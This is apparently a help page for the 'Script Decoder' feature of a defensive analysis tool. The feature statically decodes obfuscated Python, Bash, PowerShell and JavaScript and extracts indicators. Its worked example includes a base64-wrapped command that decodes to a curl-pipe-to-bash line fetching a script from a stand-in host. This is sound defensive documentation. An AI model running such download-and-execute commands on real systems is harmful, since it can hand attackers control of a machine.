Contents

Script Decoder

Unwrap obfuscated Python, Bash, PowerShell and JavaScript layer by layer, pull out indicators, and flag suspicious behavior. The script is parsed, never run.

Sidebar group: Analysis · Works offline: yes · Needs admin rights: no

When to use it

Quick start

  1. Open Script Decoder from the Analysis group.
  2. Paste the script into the box, or click Open file (opening a file decodes it straight away).
  3. Click Decode or press Cmd/Ctrl+Enter.
  4. Read the summary line: how many layers were decoded, and how many indicators and flags were found.
  5. Review Flags for behavior worth a closer look.
  6. Copy Indicators (defanged by default) into your ticket or block list.
  7. Expand each entry under Layers to read the decoded code. Use Export for a report or to add it to a project.

Inputs and options

Field What it means Default / accepted values
Script Source to decode. The language is detected per layer. Python, Bash/POSIX sh, PowerShell, JavaScript. Up to 2,000,000 bytes.
Decode Runs the static decoder. Cmd/Ctrl+Enter in the box does the same.
Open file Reads a file as text (never executes it) and decodes it. .py, .pyw, .sh, .bash, .zsh, .ps1, .psm1, .psd1, .js, .mjs, .cjs, .jse, .hta, .txt, or any file. Up to 2,000,000 bytes.
Clear Empties the box and results.
defanged (Indicators) Shows and copies indicators in defanged form. On.
Copy all (Indicators) Copies all indicators, one per line, in the form shown.
Copy (per layer) Copies that layer's displayed text.

What the decoder understands, by language:

Underlying codecs include lenient Base64 (non-alphabet characters dropped, as Python does by default), Base32, Base16/hex, Base85, rot13, and zlib, gzip, raw deflate, xz and lzma decompression.

Reading the results

Summary line. "No encoded layers found" or "N decoded layers", with counts of indicators and flags.

Notes. Shown when a limit was hit or something could not be fully handled, for example "Layer limit (32) reached; later payloads were not decoded.", "Layer N is at the depth limit (10); it was not decoded further." or "marshal bytecode is shown as a hex dump and strings; it is not disassembled."

Flags (heuristic, pattern matches only). Each flag has a badge (FAIL, WARN or INFO), a title, the layer and line, a description and the matching snippet. Examples:

"Executes code that could not be decoded" means a sink runs an expression the decoder cannot evaluate statically: "Review it by hand."

Indicators. Type (URL, Domain, IPv4, Email, MD5, SHA1, SHA256, Path), the value (defanged or not), a private tag for internal addresses, and the layer it came from. Indicators are collected from every text layer.

Layers. Layer 0 is your input. Each later layer shows its number, its kind or language (Python, Bash, PowerShell, JavaScript, text, binary or marshal), the method that produced it (the decode chain, for example a Base64 then zlib step), which layer and line it came from, and its size. Decoded layers are open by default. Binary layers are shown as a hex dump of the first 4,096 bytes plus up to 500 printable strings. Very long layers are shortened on screen ("Shown text is shortened").

Example: pasting

echo Y3VybCAtcyBodHRwczovL2Nkbi5leGFtcGxlLmNvbS9hLnNoIHwgYmFzaA== | base64 -d | bash

gives one decoded Bash layer containing curl -s https://cdn.example.com/a.sh | bash, an indicator hxxps://cdn[.]example[.]com/a.sh and the domain cdn[.]example[.]com, and flags about what the layer runs.

What the results do and do not tell you

Online activity and privacy

Nothing goes online and nothing in the script is executed, resolved or fetched. The script is not saved unless you export or add to a project.

Export and projects

The Export menu offers HTML, PDF, Markdown, Plain text, Redacted... and Add to project. See Export and redaction and Projects and notes.

The report includes a summary (source, language of layer 0, decoded layer count, indicator and flag counts, and "Static decoding; the script was not executed"), notes, the heuristic flags with snippets, the indicators (always defanged), and every layer with its method, origin, size, text (up to 200,000 characters per layer) and strings. Because the report contains the decoded code, treat it as you would the sample.

Platform notes

No differences between macOS, Windows and Linux.

Troubleshooting

"Paste a script or open a file." The box is empty.

"input is too large (... bytes, limit 2000000)" or " is too large". Trim the input to the relevant part.

"No encoded layers found". The script uses an obfuscation the decoder does not evaluate (for example custom functions or runtime values). Check the flags for "Executes code that could not be decoded", decode the payload by hand in the Encoder Workbench, and paste the result back.

A layer is binary instead of text. The decoded data is not text, for example compressed data with an unrecognized format or a binary payload. Read the strings list, or try the Encoder Workbench on it.